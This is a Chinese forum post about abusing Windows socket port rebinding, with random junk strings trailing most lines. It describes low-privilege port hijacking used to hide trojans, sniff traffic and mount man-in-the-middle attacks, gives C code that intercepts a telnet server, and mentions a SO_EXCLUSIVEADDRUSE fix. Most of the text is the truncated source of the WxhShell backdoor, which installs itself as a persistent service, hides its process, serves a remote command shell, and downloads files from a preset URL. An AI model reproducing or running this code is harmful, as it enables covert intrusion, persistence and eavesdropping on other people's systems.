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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: zbPqYhJzA  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \73ch  
32 =z)]FZ  
  saddr.sin_family = AF_INET;  9gZ$   
`r_/Wt{g  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); |ENh)M8}r  
Xn ;AZu^'R  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >(RkZ}z  
/ XIhj  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +ck}l2&#  
.N(p=9  
  这意味着什么?意味着可以进行如下的攻击: i}?>g-(  
Y<8vw d  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 /a o5FL  
U/BR*Zn]*  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) :M5l*sIO2  
{ (}By/_  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Y <qm{e  
9_s`{(0?  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ?bu>r=oIO]  
nQS|Lt_+  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 L/^I*p,  
HpnWo DM  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 >o,TZc\  
"zy7C*)>r  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 LreP4dRe  
`P ,d$H "  
  #include n(]-y@X0_  
  #include ;*&-C9b  
  #include Yz<1 wt7;  
  #include    @s^-.z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   RpYERAgT  
  int main() cCc( fF*^  
  { )\^-2[;  
  WORD wVersionRequested; pD]OT-8  
  DWORD ret; ~u+9J}  
  WSADATA wsaData; N}YkMJy  
  BOOL val; ~e.L.,4QZ8  
  SOCKADDR_IN saddr; gPc=2  
  SOCKADDR_IN scaddr; t&DEb_"De  
  int err; jF*j0PkNdb  
  SOCKET s; 29q _BR *:  
  SOCKET sc; `@|$,2[C  
  int caddsize; iG?[<1~  
  HANDLE mt; C"enpc_C/  
  DWORD tid;   3oG,E;(  
  wVersionRequested = MAKEWORD( 2, 2 ); >yh2Lri  
  err = WSAStartup( wVersionRequested, &wsaData ); ,6W>can  
  if ( err != 0 ) { BFW&2  
  printf("error!WSAStartup failed!\n"); 5NLDYi@3  
  return -1; {kAc(  
  } 76` .Y  
  saddr.sin_family = AF_INET; L4?IHNB  
   ei5~&  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 n?K  
^/=KK:n~  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); k-""_WJ~^  
  saddr.sin_port = htons(23); 7j)8Djzp|  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) sUm'  
  { 7T'B6`-Ox  
  printf("error!socket failed!\n"); r!{Up7uL  
  return -1; FU<Jp3<%  
  } XBw)H  
  val = TRUE; S#[j )U-  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 .XhrCi Z  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %;"y+YFdv  
  { FNId ;  
  printf("error!setsockopt failed!\n"); r/*D:x|yN  
  return -1; wn)W ?P;k  
  } pcI uN  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ]"1DGg \A  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9 JK Ew  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 HLHz2-lI  
7})[lL`\s  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) cPc</[x[W  
  { :T(|&F[(  
  ret=GetLastError(); gbagi+8s`%  
  printf("error!bind failed!\n"); dcWD(-  
  return -1; y$R_.KbO  
  } ##4HYQ%E  
  listen(s,2); t<?,F  
  while(1) )sQ*Rd@t[8  
  { -RK- Fu<e  
  caddsize = sizeof(scaddr); t@+}8^ M  
  //接受连接请求 m<2M4u   
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); BJo*'US-Q  
  if(sc!=INVALID_SOCKET) mU9kVx1+  
  { ^L&iR0  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); jOD?|tK&  
  if(mt==NULL) G;XxBA  
  { _2 osV[e  
  printf("Thread Creat Failed!\n"); '>C5-R:O  
  break; yJe>JK~)  
  } Ok\7y-w^  
  } njA#@fU  
  CloseHandle(mt); Nu~lsWyRI5  
  } % +\. " eC  
  closesocket(s); Hg (Gl  
  WSACleanup(); =zs`#-^8  
  return 0; ]L}dzA?:  
  }   57'4ljvYi  
  DWORD WINAPI ClientThread(LPVOID lpParam) U_c*6CK  
  { QoH6  
  SOCKET ss = (SOCKET)lpParam; @49S`  
  SOCKET sc; KRKCD4  
  unsigned char buf[4096]; &~U ]~;@  
  SOCKADDR_IN saddr; N_q|\S>t/  
  long num; ('p5:d  
  DWORD val; Fh9h,' V"  
  DWORD ret; pIKPXqA  
  //如果是隐藏端口应用的话,可以在此处加一些判断 x.R4% Z  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Y% 5eZ=z  
  saddr.sin_family = AF_INET; ZO$%[ftb  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); jdJ>9O0A,  
  saddr.sin_port = htons(23); R]*K:~DM  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Q>1[JW{$}  
  { w$-6-rE]d  
  printf("error!socket failed!\n"); S#} KIy  
  return -1; )q3p-)@kQ  
  } 6<(.4a?  
  val = 100; Z0r?| G0  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i&GH/y  
  { Xh;#  
  ret = GetLastError(); zjoq6  
  return -1; e6RPIg  
  } Qv/=&_6  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *<ewS8f*6  
  { *$ %a:q1U  
  ret = GetLastError(); XACm[NY_  
  return -1; ]-QA'Lq  
  } T0rG M  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) yY&I dE  
  { #$qTFN  
  printf("error!socket connect failed!\n"); f^XOUh  
  closesocket(sc); {%6`!WW[  
  closesocket(ss); 1c{DY  
  return -1; WU=59gB+jL  
  } Q^txVUL  
  while(1) dL )<% o  
  { l8#EM1g-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0F><P?5  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 \.#>=!Ie  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )U{Qj5W+F  
  num = recv(ss,buf,4096,0); NGOfb  
  if(num>0) ,',o'2=!  
  send(sc,buf,num,0); = 6\^%  
  else if(num==0) )~ h}  
  break; d <JM36j?  
  num = recv(sc,buf,4096,0); :1KpGj*F  
  if(num>0) (,Df^4%7  
  send(ss,buf,num,0); ]yPqLJ  
  else if(num==0) ZoZ| M a  
  break; 8X)Y^uGGZ  
  } 9o:Lz5 o  
  closesocket(ss); x0w4)Ic5  
  closesocket(sc); j9+w#G]hV  
  return 0 ; 161xAig  
  } K~eh P[^  
P;]F(in=  
F;0}x;:>  
========================================================== s>n)B^64W  
oj_3ZsO  
下边附上一个代码,,WXhSHELL V-L"gnd&2  
ur7q [n  
========================================================== ut/=R !(K  
_D(rI#q  
#include "stdafx.h" 2u*KM`fa`  
yFlm[K5YD  
#include <stdio.h> ^\&e:Nkh  
#include <string.h> !9P';p}2  
#include <windows.h> "y/?WQ>,3  
#include <winsock2.h> 7CTFOAx#  
#include <winsvc.h> qE3UO<FA  
#include <urlmon.h> %m$Sp47  
?|B&M\}g  
#pragma comment (lib, "Ws2_32.lib") P:]^rke~&  
#pragma comment (lib, "urlmon.lib") ZlzjVU/E  
ptxbDzOz  
#define MAX_USER   100 // 最大客户端连接数 JKGe"  
#define BUF_SOCK   200 // sock buffer UVIKQpA]A  
#define KEY_BUFF   255 // 输入 buffer uT7B#b7  
1 \6D '/G  
#define REBOOT     0   // 重启 KE3;V2Ym f  
#define SHUTDOWN   1   // 关机 G..aiA  
0o*8#i/)!3  
#define DEF_PORT   5000 // 监听端口 6-B|Y3)B  
_#8RSr8'y  
#define REG_LEN     16   // 注册表键长度 +@k+2?] FO  
#define SVC_LEN     80   // NT服务名长度 eu|;eP-+d  
6wECo  
// 从dll定义API !s?nJ(p  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I( 7NQ8H x  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); VYImI>.t{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \WB<86+z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =\:qo'l  
3c6b6  
// wxhshell配置信息 q6`b26  
struct WSCFG { c?&X?<  
  int ws_port;         // 监听端口 s6.M\^  
  char ws_passstr[REG_LEN]; // 口令 @Y<bwv  
  int ws_autoins;       // 安装标记, 1=yes 0=no [o+q>|q  
  char ws_regname[REG_LEN]; // 注册表键名 Ay w ;N  
  char ws_svcname[REG_LEN]; // 服务名 .Cl:eu,]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !1{e|p 7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q0R -7O(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 EkNunCls  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @? QoF#D  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" kw %};;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "PTZ%7YH}  
.NC:;@y  
}; X1-'COQS%&  
g+>(dnX  
// default Wxhshell configuration qUGC" <W  
struct WSCFG wscfg={DEF_PORT, #S*/bao#  
    "xuhuanlingzhe", |\IN.W[EL  
    1, G5aieD.#  
    "Wxhshell", Ne{?:h.!  
    "Wxhshell", '2nhv,|.U  
            "WxhShell Service", 27O|).yKX  
    "Wrsky Windows CmdShell Service", @ H7d_S  
    "Please Input Your Password: ", F{~{Lthc  
  1, _Wq  
  "http://www.wrsky.com/wxhshell.exe", cacr=iX  
  "Wxhshell.exe" %'7lbpy,f  
    }; WRy aKM  
hp7|m0.JW  
// 消息定义模块 "haL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {rH@gz|@i  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6GSI"M6s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; LzXmb 7A  
char *msg_ws_ext="\n\rExit."; %9N7Ln|%  
char *msg_ws_end="\n\rQuit."; h!.^?NF  
char *msg_ws_boot="\n\rReboot..."; dP<=BcH>f  
char *msg_ws_poff="\n\rShutdown..."; GyIT{M}KV  
char *msg_ws_down="\n\rSave to "; 6ZG+ZHUC&  
!1DKLQ  
char *msg_ws_err="\n\rErr!"; _'>oXQJ  
char *msg_ws_ok="\n\rOK!"; ``Dq  
s!&#c`=  
char ExeFile[MAX_PATH]; -Rd/G x  
int nUser = 0; #_J@-f7^  
HANDLE handles[MAX_USER]; W;L7SF g)  
int OsIsNt; C|). ;V&  
1&)?JZhg  
SERVICE_STATUS       serviceStatus; (@<c6WS  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ],FMwCI  
uU <=d  
// 函数声明 _c*=4y  
int Install(void); s{S4J'VW  
int Uninstall(void); ;/fF,L{c  
int DownloadFile(char *sURL, SOCKET wsh); X>(TrdK_9"  
int Boot(int flag); : $Y9jR  
void HideProc(void); E2@65b$  
int GetOsVer(void); Q<'nE  
int Wxhshell(SOCKET wsl); Ba*,-i3ZK  
void TalkWithClient(void *cs); m4&h>9. 8  
int CmdShell(SOCKET sock); luuX2Mx>o  
int StartFromService(void); "2P&X  
int StartWxhshell(LPSTR lpCmdLine); WEQ1 Seq  
m~P CB_ifW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V4P; 5[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Gh}LlX!w  
,5kKimTt  
// 数据结构和表定义 7;sj%U^'l  
SERVICE_TABLE_ENTRY DispatchTable[] = bRJMYs  
{ 5eoska#y   
{wscfg.ws_svcname, NTServiceMain}, / !Wu D\B  
{NULL, NULL} }Q?c"H!/  
}; Hh-+/sO~"  
%?uc><&?e  
// 自我安装 ;WM"cJo9  
int Install(void) Y/ >&0wj)d  
{ X4AyX.p  
  char svExeFile[MAX_PATH]; ZP *q4:  
  HKEY key; "B4;,+4kR  
  strcpy(svExeFile,ExeFile); 2`>ToWN!  
R)z4n  
// 如果是win9x系统,修改注册表设为自启动 7X q,z  
if(!OsIsNt) { *4xat:@{{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SHbtWq}T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <2|O:G  
  RegCloseKey(key); Q6AC(n@:FV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v:o({Y 1Aq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KgOqbSJ  
  RegCloseKey(key); Mjfx~I27  
  return 0; pUq1|)g  
    } [*HN"  
  } 04'~ta(t  
} 'wI"Bo6e  
else { O<"}|nbmQ[  
7,|c  
// 如果是NT以上系统,安装为系统服务 O QT;zqup  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Fpa ;^F  
if (schSCManager!=0) #u"k~La  
{ j>x-"9N  
  SC_HANDLE schService = CreateService T[uiPs /xD  
  ( S<u-n8bv  
  schSCManager, =p?WBZT|:  
  wscfg.ws_svcname, n\5RAIg  
  wscfg.ws_svcdisp, r77PQQD T  
  SERVICE_ALL_ACCESS, 'u_t<F ]b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , < hO /jB  
  SERVICE_AUTO_START, T/xp?Vq6/  
  SERVICE_ERROR_NORMAL, K]|> Et`  
  svExeFile, bKQ"ax>6p  
  NULL, !+4cqO  
  NULL, 0 79'(%  
  NULL, !{ )tSipd  
  NULL, xw T%),  
  NULL a{J,~2>  
  ); Eam  
  if (schService!=0) }_;!hdY q  
  { oiyzHx  
  CloseServiceHandle(schService); Tp?y8r  
  CloseServiceHandle(schSCManager); s]mY*@a%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); dd%h67J2<  
  strcat(svExeFile,wscfg.ws_svcname); : G`hm{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >teO m?@U  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \ZhfgE8{%  
  RegCloseKey(key); ~r$jza~o(  
  return 0; $m+sNEAa  
    } UIAj]  
  } S_v'hlrrT  
  CloseServiceHandle(schSCManager); 9Xl5@%uz?z  
} 4*mS y  
} 6{+{lBm=y  
\eb|eN0i  
return 1; &q~:~   
} ] GTAq  
$:j G-r  
// 自我卸载 :ORR_f`>  
int Uninstall(void) }kK[S|XVO  
{ =;|QZ"%E  
  HKEY key; GbA.UM ~  
Ru>uL@w  
if(!OsIsNt) { bi&*9K0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HXYRH  
  RegDeleteValue(key,wscfg.ws_regname); A"l?:?rtw]  
  RegCloseKey(key); _uKZMl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w TGb d  
  RegDeleteValue(key,wscfg.ws_regname); ]f: v,a  
  RegCloseKey(key); TsUOpEuX  
  return 0; *^wB!{.#  
  } {^rs#, W  
} jfx8EbQ  
} g'u?Rn 7*J  
else { {W~q z^>u4  
pM&YXb?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); NeBsv= [-  
if (schSCManager!=0) jhX[fT1m  
{ 80Y\|)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <~X>[PK<  
  if (schService!=0) gE hN3(  
  { @]c(V%x   
  if(DeleteService(schService)!=0) { ,i6RE  
  CloseServiceHandle(schService); `^Eae  
  CloseServiceHandle(schSCManager); ?EpSC&S\  
  return 0; E)-r+ <l  
  } 7,MS '2nz  
  CloseServiceHandle(schService); $GQ-(/  
  } ;k86"W  
  CloseServiceHandle(schSCManager); za9)Q=6FD  
} )VK }m9Ae  
} |?,[@z _,  
7`H 1f]d  
return 1; 6^n0[7  
} k@D0 {z  
I3:[= ,5  
// 从指定url下载文件 (?kl$~&|  
int DownloadFile(char *sURL, SOCKET wsh) l|+BC  
{ ?D)<,  
  HRESULT hr; TLf9>= OVh  
char seps[]= "/"; j0GMTri3  
char *token; {(#%N5%  
char *file; Hb(B?!M)  
char myURL[MAX_PATH]; N+)?$[  
char myFILE[MAX_PATH]; 0hn-FH-XE  
/.eeO k  
strcpy(myURL,sURL); ?Xo*1Z =  
  token=strtok(myURL,seps); 70Yjv 1i  
  while(token!=NULL) C*te^3k>B  
  { `L5~mb;7*  
    file=token; h~,JdDV8l*  
  token=strtok(NULL,seps); qr50E[  
  } X$b={]b  
xwZ8D<e-,  
GetCurrentDirectory(MAX_PATH,myFILE); Yy JPHw)Z  
strcat(myFILE, "\\"); SL&hJs4c'  
strcat(myFILE, file); H{c?lT  
  send(wsh,myFILE,strlen(myFILE),0); Tv]<SI<B[  
send(wsh,"...",3,0); ]$ b<Gs  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vhT_=:x  
  if(hr==S_OK) o{kbc5_  
return 0; HygY>s+3[  
else DtWwG C  
return 1; %T=A{<[`  
zT* .jv  
} +wk`;0sA  
N_Af3R1_  
// 系统电源模块 ^, i>'T  
int Boot(int flag) =}fd6ea(o  
{ @C-dG7U.P  
  HANDLE hToken; R,!Q Zxmg  
  TOKEN_PRIVILEGES tkp; daAyx-  
B 2 .q3T  
  if(OsIsNt) { ;#) mLsl  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); JH]K/sC>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |m?vVLq  
    tkp.PrivilegeCount = 1; 2~p[7?sp'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; q 'a  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "?GebA  
if(flag==REBOOT) { ZDYJhJ.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Zz |MIGHm  
  return 0; Bl1Z4` 3  
} rn:!dV[  
else { |"$uRV=qm  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0-3rQ~u  
  return 0; )W&>[B  
} 5lJ )(|_  
  } w*w?S  
  else { E}Xka1 Bn  
if(flag==REBOOT) { N(3R|Ii  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) r\9TMg`C  
  return 0; =FBpo2^QB;  
} qkP/Nl. u  
else { /WnE:3G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]y)Q!J )Q  
  return 0; baoD(0d  
} ]`w}+B'/  
} dd7 =)XT+  
2#/p|$;Ec'  
return 1; 2$zU&p7sV  
} Q\J,}1<`6  
}yEoEI`  
// win9x进程隐藏模块 w.+Eyu_I\  
void HideProc(void) :Px\qh}K  
{ oeL5}U6>g  
w3D]~&]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +MO E  
  if ( hKernel != NULL ) M\+*P,i  
  { 8xI`jE"1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [H"#7t.V-~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )Z@-DA*Q-  
    FreeLibrary(hKernel); {lzG*4?  
  } [~k]{[NJ  
(%Oe_*e}Y  
return; ^2M!*p&h  
} ~j @UlP  
<-jGqUN_I  
// 获取操作系统版本 U06o ;s(  
int GetOsVer(void) EH+~].PJd  
{ .1*DR]^`  
  OSVERSIONINFO winfo; #DP7SO  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); R/<=mZ  
  GetVersionEx(&winfo); $)e:8jS=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  td(M#a-  
  return 1; VKLU0*2R  
  else ~j,TVY  
  return 0; C'9 1d7E  
} +3bfD  
? Ekq6uz\)  
// 客户端句柄模块 A@$fb}CF  
int Wxhshell(SOCKET wsl) ?:|YGLaB  
{ ":d*dl  
  SOCKET wsh; j/<??v4F4  
  struct sockaddr_in client; uJ'9R`E ]1  
  DWORD myID; A1,4kqmE  
B$`lY DqaG  
  while(nUser<MAX_USER) gf$HuCh|  
{ -%uy63LbHF  
  int nSize=sizeof(client); It 2UfW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qZ G-Lh  
  if(wsh==INVALID_SOCKET) return 1; 4&}\BU*  
dB|Te"6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u2`xC4>c  
if(handles[nUser]==0) 8g5V,3_6  
  closesocket(wsh); gB CC  
else .Y/-8H-3v  
  nUser++; m(3);)d  
  } 4IGxI7~27#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T=? bdIl  
.{N\<01  
  return 0; iiwpSGFl]  
} uaQ&&5%%J  
,eELRzjl  
// 关闭 socket ?\yB)Nd y  
void CloseIt(SOCKET wsh) \!X?zR_  
{ j3 P RAe  
closesocket(wsh); Rx. rj~  
nUser--; wd`R4CKhP]  
ExitThread(0); \FI^ Vk  
} ^~I @ spR4  
X"J%R/f  
// 客户端请求句柄 iE{Oit^aG  
void TalkWithClient(void *cs) `03<0L   
{ G(i\'#5+  
)b9I@)C  
  SOCKET wsh=(SOCKET)cs; '{D%\w5{  
  char pwd[SVC_LEN]; Hz4uZ*7\|  
  char cmd[KEY_BUFF]; 5~yb ~0  
char chr[1]; *Yp qq  
int i,j; ~ iT{8  
.xv ^G?GG  
  while (nUser < MAX_USER) { Z)v)\l9d  
0P:F97"1,  
if(wscfg.ws_passstr) { {dZ8;Fy4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9XN~Ln@}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2<.Vv\ =  
  //ZeroMemory(pwd,KEY_BUFF); 2?*1~ 5~I  
      i=0; ` t\z   
  while(i<SVC_LEN) { pFH?/D/q  
L9'-  
  // 设置超时 cd"wNH-  
  fd_set FdRead; 2 TCRS#z  
  struct timeval TimeOut; 5fxbA2\  
  FD_ZERO(&FdRead); g Np-f  
  FD_SET(wsh,&FdRead); \R;K>c7=  
  TimeOut.tv_sec=8; @5*xw1B  
  TimeOut.tv_usec=0; w2<*$~C]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4O Zy&,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &x/k^p=  
Y=WR6!{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gx&73f<J  
  pwd=chr[0]; i~AJ.@ #  
  if(chr[0]==0xd || chr[0]==0xa) { AuM:2N2  
  pwd=0; L(Rorf~V  
  break; ~g96o81V  
  } E#~2wqK  
  i++; 1(F'~i|5  
    } NFM-)Z57  
Pb=rFas*C  
  // 如果是非法用户,关闭 socket [b pwg&Oo  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pgfu+K7?w  
} {G]`1Q1DR  
&*c'uN w  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Bzm. X=U:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8I {56$  
9w$7VW;  
while(1) { Ty iU1,oO  
[EcV\.  
  ZeroMemory(cmd,KEY_BUFF); 4}PeP^pj  
K+t];(  
      // 自动支持客户端 telnet标准   0 wYiu  
  j=0; :EaiM J_=  
  while(j<KEY_BUFF) { {C,  #rj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^8U6"O6|X  
  cmd[j]=chr[0]; a#6,#Q"  
  if(chr[0]==0xa || chr[0]==0xd) { A9.;>8!u  
  cmd[j]=0; 92NC]_jw  
  break; /T4VJ{D  
  } }W)Mwu'W  
  j++; pJ$(ozV  
    } jS}'cm-  
aliQ6_  
  // 下载文件 \c'%4Ao  
  if(strstr(cmd,"http://")) { 0I6499FQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _fe0,  
  if(DownloadFile(cmd,wsh)) CYMM*4#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); I[a%a!QO  
  else %G^(T%q| m  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4I+.^7d  
  } sF, uIr/  
  else { Xd5! Ti}  
+&zb^C`J  
    switch(cmd[0]) { !c v6 #:  
  =NI.d>kvC  
  // 帮助 s:G [Em1  
  case '?': { gx&\Kw6HM  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N_*u5mfQX  
    break; \_)02ZT:  
  } ]r]+yM|  
  // 安装 la1D2 lM  
  case 'i': { MH2OqiCI  
    if(Install()) <m:4g ,6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {m>~`   
    else sL;z"N@PK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SIJ# ?0,  
    break; `=PB2'  
    } fjF!>Dy  
  // 卸载 j `w;z: G  
  case 'r': { vC s6#PR$  
    if(Uninstall()) 0fZ:")&4,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QJniM"8v  
    else a'o}u,e5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,OFq'}q  
    break; w@4t$bd7  
    } s n=zh1 A  
  // 显示 wxhshell 所在路径 W'm!f  
  case 'p': { ye56-T  
    char svExeFile[MAX_PATH]; Kn3YI9  
    strcpy(svExeFile,"\n\r"); :tg@HyY)  
      strcat(svExeFile,ExeFile); Cw@k.{*7,  
        send(wsh,svExeFile,strlen(svExeFile),0); P<TpG0~(  
    break; V%VrAi.  
    } `mh-pBVD1  
  // 重启 Q;d+]xj  
  case 'b': { 6eW1<p  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7Q<Kha  
    if(Boot(REBOOT)) 0#2T0zk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xop-f#U*  
    else { _wIBm2UO  
    closesocket(wsh); &*LA_]1@  
    ExitThread(0); d8VWi*  
    } YY1{v?[  
    break; [w+yQ7P  
    } OYQXi  
  // 关机 ?*(r1grHl  
  case 'd': { ptnMCF  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); sj?`7kg  
